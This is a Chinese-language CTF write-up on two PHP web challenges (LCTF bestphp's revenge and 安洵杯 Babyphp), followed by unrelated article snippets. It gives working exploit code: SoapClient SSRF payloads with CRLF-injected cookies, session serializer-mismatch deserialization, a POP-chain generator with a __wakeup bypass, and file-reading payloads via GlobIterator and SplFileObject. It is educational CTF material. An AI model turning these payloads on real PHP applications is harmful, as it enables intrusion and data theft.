bestphp‘s revenge/ 安洵杯Babyphp(phpsession题目)

news2024/11/25 7:00:50

目录

[LCTF]bestphp‘s revenge

一.SoapClient

二.CRLF Injection漏洞

简单来说就是,“回车+换行”(\r\n)的简称。

三、call_user_func

四、PHPsession反序列化

安洵杯Babyphp

第一步

第二步

第三步

最后

[LCTF]bestphp‘s revenge

一.SoapClient

SOAP是webService三要素(SOAP、WSDL(WebServicesDescriptionLanguage)、UDDI(UniversalDescriptionDiscovery andintegration))之一:WSDL用来描述如何访问具体的接口,UDDI用来管理,分发,查询webService,SOAP(简单对象访问协议)是链接活或web服务和客户端和Web服务之间的接口。其采用HTTP作为底层通讯协议,XML作为数据传送的格式。

SoapClient类可以创建soap数据报文,与wsdl接口进行交互

<?php
$a = new SoapClient(null,array(location'=>'http://127.0.0.1/flag.php','uri'=>'http://127.0.0.1'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a();

SoapClient中第一个参数的意思是:控制是否是wsdl模式,如果为NULL,就是非wsdl模式。如果是非wsdl模式,反序列化的时候就会对options中的url进行远程soap请求,第二个参数的意思是:一个数组,里面是soap请求的一些参数和属性。

重点:可以利用SoapClient类的_call(当调用对象中不存在的方法会自动调用此方法)来进行SSRF

二.CRLF Injection漏洞

简单来说就是,“回车+换行”(\r\n)的简称。

http请求遇到两个\r\n即%0d%0a,会将前半部分当做头部解析,而将剩下的部分当做体,当我们可以控制User-Agent的值时,头部可控,就可以注入crlf实现修改http请求包。

<?php
$target = "http://localhost:2333";
$options = array(
    "location" => $target,
    "user_agent" => "mochazz\r\nCookie: PHPSESSID=123123\r\n",
    "uri" => "demo"
);
$attack = new SoapClient(null,$options);
$payload = serialize($attack);
unserialize($payload)->ff(); // 调用一个不存在的ff方法,会触发__call方法,发出HTTP请求
?>

得到:

POST / HTTP/1.1

Host: localhost :2333

Connection: Keep-Alive

User -Agent: mochazz

Cookie: PHPSESSID= 123123
显而易见

三、call_user_func

call_user_func函数中的参数可以是一个数组,数组中第一个元素为类名,第二个元素为类方法。

先传入extract(),将$b覆盖成回调函数,这样题目中的 call_user_func($b,$a) 就可以变成 call_user_func(‘call_user_func’,array(‘SoapClient’,’welcome_to_the_lctf2018’)) ,即调用 SoapClient 类不存在的 welcome_to_the_lctf2018 方法,从而触发 __call 方法发起 soap 请求进行 SSRF 。

四、PHPsession反序列化

session.save_handler   session保存形式。默认为files

session.save_path        session保存路径。

session.serialize_handler   session序列化存储所用处理器。默认为php.

session中有三种序列化处理器处理session的情况

<?php 
session_start();
$_SESSION['name']='mochazz';
当 session.serialize_handler=php 时,session文件内容为: name|s:7:"mochazz";

当 session.serialize_handler=php_serialize 时,session文件为: a:1:{s:4:"name";s:7:"mochazz";}

当 session.serialize_handler=php_binary 时,session文件内容为: 二进制字符names:7:"mochazz";

使用不同引擎就会发生漏洞,通常是先使用php_serialize进行序列化,然后php默认引擎进行反序列化,这是因为php引擎反序列化时,|被当做分隔符

例如

php_serialize引擎    a:1:{s:4:”name”;s:4:”|username”;}

php   就会反序列化username ,前面是键名,后面是键值

所以我们只需要传入$_SESSION[‘name’] = |序列化内容

分析题目:

<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);  //参数二的位置固定为 $_POST 数组,我们很容易便想到利用 extract 函数进行变量覆盖,以便配合后续利用
session_start();
if (isset($_GET['name'])) {
    $_SESSION['name'] = $_GET['name'];
}   //存在 session 伪造漏洞,我们可以考虑是否可以包含 session 文件或者利用 session 反序列化漏洞
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
//reset($_session)将数组的内部指针指向第一个单元,返回第一个session的值
call_user_func($b, $a);
?>
array(0) { }


//flag.php  (扫目录扫到的)
only localhost can get flag!session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}';
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
       $_SESSION['flag'] = $flag;
   }
only localhost can get flag!

call_user_func($_GET['f'], $_POST); 首先第一步我们需要先换session 序列化的引擎,为php_serialize

分析下代码,flag.php 文件中告诉我们,只有 127.0.0.1 请求该页面才能得到 flag ,所以这明显又是考察 SSRF 漏洞,这里我们便可以利用 SoapClient 类的 __call 方法来进行 SSRF

第一步:由于 PHP 中的原生 SoapClient 类存在 CRLF 漏洞,所以我们可以伪造任意 header ,构造 SoapClient 类,并用php_serialize引擎进行序列化,存入session,然后序列化name的值

<?php
//$url = "http://127.0.0.1/flag.php";
//$b = new SoapClient(null, array('uri' => $url, 'location' => $url));
//$a = serialize($b);
//$a = str_replace('^^', "\r\n", $a);
//echo "|" . urlencode($a);
//


$target = 'http://127.0.0.1/flag.php';
$b = new SoapClient(null, array('location' => $target,
    'user_agent' => "npfs\r\nCookie:PHPSESSID=123456\r\n",// r n 也就是空行回车
    'uri' => "http://127.0.0.1/"));

$se = serialize($b);
echo "|" . urlencode($se);

得到 

|O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A17%3A%22http%3A%2F%2F127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A31%3A%22npfs%0D%0ACookie%3APHPSESSID%3D123456%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

 这里实现的其实就是更换php_serialize,然后序列化存入name

第二步,改成默认php,然后触发soapclient中的__call魔术方法传值f=extract&name=SoapClient POST:b=call_user_func. 这样 call_user_func($b,$a)就变成call_user_func(‘call_user_func’,array(‘SoapClient’,’welcome_to_the_lctf2018’)) ,即调用 SoapClient 类不存在的 welcome_to_the_lctf2018 方法,从而触发 __call 方法发起 soap 请求进行 SSRF 。

用到了变量覆盖把b改为了call_user_func,这样数组第一个就是类名,第二个是welcome方法不存在调用_call,然后传入name=SoapClient,这样

$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');前面就是SoapClient值了

最后把PHPSESSID换成,我们一开始代码中的123456即可 

 学完以后,收获太多了。

参考文章:bestphp's revenge[详解] - NPFS - 博客园 (cnblogs.com)

安洵杯Babyphp

这道题的原理和上面这道题一样

本来想直接复现的可是没环境了,只能看别人的wp推一下

index.php
<?php
//something in flag.php

class A
{
    public $a;
    public $b;

    public function __wakeup()
    {
        $this->a = "babyhacker";
    }

    public function __invoke()
    {
        if (isset($this->a) && $this->a == md5($this->a)) {
            $this->b->uwant();
        }
    }
}

class B
{
    public $a;
    public $b;
    public $k;

    function __destruct()
    {
        $this->b = $this->k;
        die($this->a);
    }
}

class C
{
    public $a;
    public $c;

    public function __toString()
    {
        $cc = $this->c;
        return $cc();
    }
    public function uwant()
    {
        if ($this->a == "phpinfo") {
            phpinfo();
        } else {
            call_user_func(array(reset($_SESSION), $this->a));
        }
    }
}


if (isset($_GET['d0g3'])) {
    ini_set($_GET['baby'], $_GET['d0g3']);
    session_start();
    $_SESSION['sess'] = $_POST['sess'];
}
else{
    session_start();
    if (isset($_POST["pop"])) {
        unserialize($_POST["pop"]);
    }
}
var_dump($_SESSION);
highlight_file(__FILE__);
flag.php
<?php
session_start();
highlight_file(__FILE__);
//flag在根目录下
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
    $f1ag=implode(array(new $_GET['a']($_GET['b'])));
    $_SESSION["F1AG"]= $f1ag;
}else{
   echo "only localhost!!";
}

首先有两个文件,index.php和flag.php

先构造pop链比较简单

B::__destruct()->C::__toString()->A::__invoke()->C::uwant()

md5那个,随便找个0e开头的就可以了,

<?php
//something in flag.php

class A
{
    public $a = '0e215962017';
    public $b;



    public function __invoke()
    {
        if (isset($this->a) && $this->a == md5($this->a)) {
            $this->b->uwant();
        }
    }
}

class B
{
    public $a;
    public $b;
    public $k;

    function __destruct()
    {
        $this->b = $this->k;
        die($this->a);
    }
}

class C
{
    public $a ;
    public $c;

    public function __toString()
    {
        $cc = $this->c;
        return $cc();
    }
    public function uwant()
    {
        if ($this->a == "phpinfo") {
            phpinfo();
        } else {
            call_user_func(array(reset($_SESSION), $this->a));
        }
    }
}


session_start();
$_SESSION['sess'] = 'SoapClient';


$first = new B();
$first->a = new C();
$first->a->c = new A();
$first->a->c->b = new C();
$first->a->c->b->a = '11111';
print((serialize($first)));
//var_dump($_SESSION);

然后需要绕过A类中的wakeup   "A":3  本来是2成功绕过

O:1:"B":3:{s:1:"a";O:1:"C":2:{s:1:"a";N;s:1:"c";O:1:"A":3:{s:1:"a";s:11:"0e215962017";s:1:"b";O:1:"C":2:{s:1:"a";s:5:"11111";s:1:"c";N;}}}s:1:"b";N;s:1:"k";N;}

 $f1ag=implode(array(new $_GET['a']($_GET['b'])));

看到new就会想到新生类,

  public function uwant()
    {
        if ($this->a == "phpinfo") {
            phpinfo();
        } else {
            call_user_func(array(reset($_SESSION), $this->a));
//这里肯定是  SoapClient类和随便一个方法,a可以是任意值为了调用call方法
        }
    }
}


if (isset($_GET['d0g3'])) {
    ini_set($_GET['baby'], $_GET['d0g3']);
//这里应该是改变phpsession的序列化引擎,?baby=session.serialize_handler&d0g3=php_serialize 
    session_start();
    $_SESSION['sess'] = $_POST['sess'];
//这里猜测是sess=SoapClient类
}
else{
    session_start();
    if (isset($_POST["pop"])) {
        unserialize($_POST["pop"]);
    }
}
var_dump($_SESSION);
highlight_file(__FILE__);
flag.php
<?php
session_start();
highlight_file(__FILE__);
//flag在根目录下
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
    $f1ag=implode(array(new $_GET['a']($_GET['b'])));
//这里看到了new 想到了原生类,implode实现的是链接的作用,不然原生类不起作用

    $_SESSION["F1AG"]= $f1ag; //所以$f1ag中存在的应该是执行原生类的结果
}else{
   echo "only localhost!!";
}

 不加implode的效果就是Array一个数组名,

第一步

先生成一个php序列化的代码

<?php
$a = new SoapClient(null,
    array(
        'user_agent' => "aaa\r\nCookie:PHPSESSID=u6ljl69tjrbutbq4i0oeb0m332",  
        'uri' => 'bbb',
        // 'location' => 'http://127.0.0.1/flag.php?a=GlobIterator&b=/*f*' //首先用GlobIterator找flag的名字
        'location' => 'http://127.0.0.1/flag.php?a=SplFileObject&b=file:///f1111llllllaagg'
         
    )
);
$b = serialize($a);
echo urlencode($b);
?>

上传sess=序列化,?baby=session.serialize_handler&d0g3=php_serialize 然后更换引擎为php_serialize

第二步

传入sess=SoapClient,为了第三步激活反序列化做准备

第三步

直接用call_user_func激活soap类,通过flag.php将flag写入session

这里是因为call_user_func,在uwant方法中,所以需要反序列化才可以运用到

最后

改变phpsessionid为我们编写代码的那个值就可以获得flag

大概思路是这样,等题目上平台,再复现

结论:

其实就是利用了phpsession序列化,不同引擎之间的漏洞,用php_serialize-》然后换成默认的php引擎,|运用序列化获得flag,用到了SoapClient中的call魔术方法。

参考链接第五届"安洵杯”网络安全挑战赛WriteUp By F61d

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/48659.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

基于docker创建mysql容器

基础环境 Server: Docker Engine - CommunityEngine:Version: 20.10.9选择镜像 好用、可靠 不好用&#xff1a;DOCKER OFFICIAL IMAGE mysql 好用&#xff1a; VERIFIED PUBLISHER bitnami/mysql 部署容器 创建桥接网络 docker network create app-tier --drive…

java 把a.txt文件中的内容复制到当前项目目录下的b.txt文件中,2种方式比较复制效率 毫秒比较

java 把a.txt文件中的内容复制到当前项目目录下的b.txt文件中&#xff0c;2种方式比较复制效率 毫秒比较 package xxx;import java.io.*; public class JavaApplication1 {public static void main(String[] args) throws IOException {long start System.currentTimeMillis(…

[附源码]Python计算机毕业设计Django第三方游戏零售平台

项目运行 环境配置&#xff1a; Pychram社区版 python3.7.7 Mysql5.7 HBuilderXlist pipNavicat11Djangonodejs。 项目技术&#xff1a; django python Vue 等等组成&#xff0c;B/S模式 pychram管理等等。 环境需要 1.运行环境&#xff1a;最好是python3.7.7&#xff0c;…

手把手教你写一个Vue3组件库但是乞丐版

好久没写文章了&#xff0c;最近在研究一些组件库的实现方法&#xff0c;分享一下。在这我这篇文章之前其实已经有一篇文章讲了Vue如何打包组件库了&#xff08;最底部&#xff09;&#xff0c;但是这篇文章一是没有源码二是Vue3和Vue2的组件库写法有点不一样&#xff0c;关于这…

数据挖掘-理论与算法 公开课笔记

1.1.1.1 整装待发 近年来数据存储和数据处理的能力都产生了飞跃&#xff0c;为数据挖掘奠定了基础。虽然数据量大&#xff0c;但是真正有用的信息少 2.1.2.1 学而不思则罔 是多学科&#xff08;机器学习、人工智能、模式识别、统计学&#xff09;的交叉领域如何学习数据挖掘&…

【分布式能源的选址与定容】基于非支配排序多目标粒子群优化算法求解分布式能源的选址与定容附Matlab代码

​✅作者简介&#xff1a;热爱科研的Matlab仿真开发者&#xff0c;修心和技术同步精进&#xff0c;matlab项目合作可私信。 &#x1f34e;个人主页&#xff1a;Matlab科研工作室 &#x1f34a;个人信条&#xff1a;格物致知。 更多Matlab仿真内容点击&#x1f447; 智能优化算法…

【HDU No. 1166】 敌兵布阵

【HDU No. 1166】 敌兵布阵 杭电 OJ 题目地址 【题意】 A国在海岸线沿直线布置了N 个工兵营地。C国通过先进的监测手段对A国每个工兵营地的人数都掌握得一清二楚。每个工兵营地的人数都可能发生变动&#xff0c;可能增加或减少若干人手。 【输入输出】 输入&#xff1a; 第…

知识整理:1802907-99-8,Desthiobiotin-PEG4-Alkyne生物素类似物

&#xff08;本品应密封避光&#xff0c;储存于阴凉&#xff0c;干燥&#xff0c;通风处&#xff0c;取用一定要干燥&#xff0c;避免频繁的溶解和冻干&#xff09; ●中文名&#xff1a;脱硫生物素-四聚乙二醇-炔基 ●英文&#xff1a;Desthiobiotin-PEG4-Alkyne ●外观以及性…

浮点数渐进下溢

文章目录浮点数渐进下溢浮点数渐进下溢 当IEEE754浮点数的运算结果或转化结果中&#xff0c;存在阶码全0的情况时&#xff0c;在IEEE754标准的描述中说&#xff0c;若此时尾数不全为0&#xff0c;则表示次正规数&#xff0c;即次数浮点数的真值其实应该成为&#xff1a; (−1)…

YUV数据格式

1. YUV的原理 YUV 的原理是把亮度&#xff08;Luma&#xff09;与色度&#xff08;Chroma&#xff09;分离。 “Y”表示亮度&#xff0c;也就是灰度值。 “U”表示蓝色通道与亮度的差值。 “V”表示红色通道与亮度的差值。 其中 Y 信号分量除了表示亮度信号外&#xff0c;还含…

Redis学习笔记(一)

NoSQL 泛指非关系型数据库&#xff0c;作为关系型数据库的补充作用&#xff1a;应对海量用户和海量数据前提下的数据处理问题特征 可扩容、可伸缩大数据量下高性能灵活的数据模型高可用 常见的NoSQL数据库 RedismemcacheHBaseMongoDB Redis 一种高性能键值对数据库特征 数据间…

[附源码]计算机毕业设计springboot酒店在线预约咨询小程序

项目运行 环境配置&#xff1a; Jdk1.8 Tomcat7.0 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技术&#xff1a; SSM mybatis Maven Vue 等等组成&#xff0c;B/S模式 M…

STL 迭代器萃取

导言 什么是迭代器 迭代器是一种抽象的设计概念&#xff0c;《Design Patterns》一书中对于 iterator 模式的定义如下&#xff1a;提供一种方法&#xff0c;使之能够依序巡访某个聚合物&#xff08;容器&#xff09;所含的各个元素&#xff0c;而又无需暴露该聚合物的内部表述…

wcdma基站的重选和切换

首先移动组网的特点&#xff0c;单个基站覆盖一定区域范围&#xff0c;我们称之为小区&#xff0c;为了组成一个连续服务不断的网&#xff0c;需要在空间上部署多个基站&#xff0c;应对用户的移动。 为了实现业务的连续性&#xff0c;必须给每个小区设置相邻的小区&#xff0c…

C/C++-指针

C/C-指针参考1. 指针指针与内存/地址指针使用2.数组指针数组/指针/sizeof一维数组与指针多维数组指针3.字符/字符串指针4. 其他指针二级指针 -- 还没看空指针void指针野指针5.指针与函数函数指针引用传递指针函数6.结构体指针结构体数组指针???c 对象指针参考 https://www.…

Kotlin 开发Android app(十四):startActivity跳转Activity活动

从一个Activity跳到另一个Activity 在编写安卓代码是最常见的事情了。我们不可能在一个页面中&#xff0c;把所有的事情都做完。 在kotlin中跳转的程序也比较简单&#xff0c;跟java差不多。如果熟悉java代码的话&#xff0c;只需要把代码改变过来而已。 带参数的调整 从一个…

极空间Docker安装Alist套件整合阿里云盘、百度云盘等网盘资源并挂载到本地供极影视刮削播放完整教程

文章目录0、前言1、在docker中安装alist套件1.1、拉取并下载alist镜像1.2.安装alist镜像2、访问并设置alist2.1、访问alist2.2、配置alist2.2.1、在alist中添加阿里云盘2.2.2、在alist中添加其它网盘3、在极空间中将前述网盘挂载到本地4、在极影视中扫描刮削挂载到本地的云盘中…

如何制作一个微信小程序【微信小程序是怎么做的】

为什么现在这么多人使用微信小程序呢&#xff1f;因为微信小程序除了便捷易开发&#xff0c;公司企业可以用来做小程序展示官网&#xff0c;商家也可以做小程序商城&#xff0c;甚至个人也可以拥有自己的小程序。那么如何制作一个微信小程序&#xff1f;微信小程序是怎么做的呢…

第二证券|房地产股债嗨了,百余只个股谁受热捧?谁还受益?

29日&#xff0c;AH股房地产板块狂飙&#xff0c;地产债反常火热。 A股地产股开盘即掀涨停潮&#xff0c;中国武夷、中交地产、空港股份、光大嘉宝、中华企业等超10股竞价涨停。港股内房股大幅高开&#xff0c;碧桂园、富力地产、新城开展等多股涨超10%&#xff0c;盘中三巽集…

Crack:Stimulsoft BI Server 2022.4.5

Stimulsoft BI Server 是一个客户端-服务器系统&#xff0c;可让您高效且有效地实施使用报告和仪表板的完整周期&#xff0c;从执行信息处理任务的设计和自动化开始&#xff0c;到为方便地向用户展示结果做准备结束。报告模块的功能和功能是使用 Stimulsoft 的快速现代技术实现…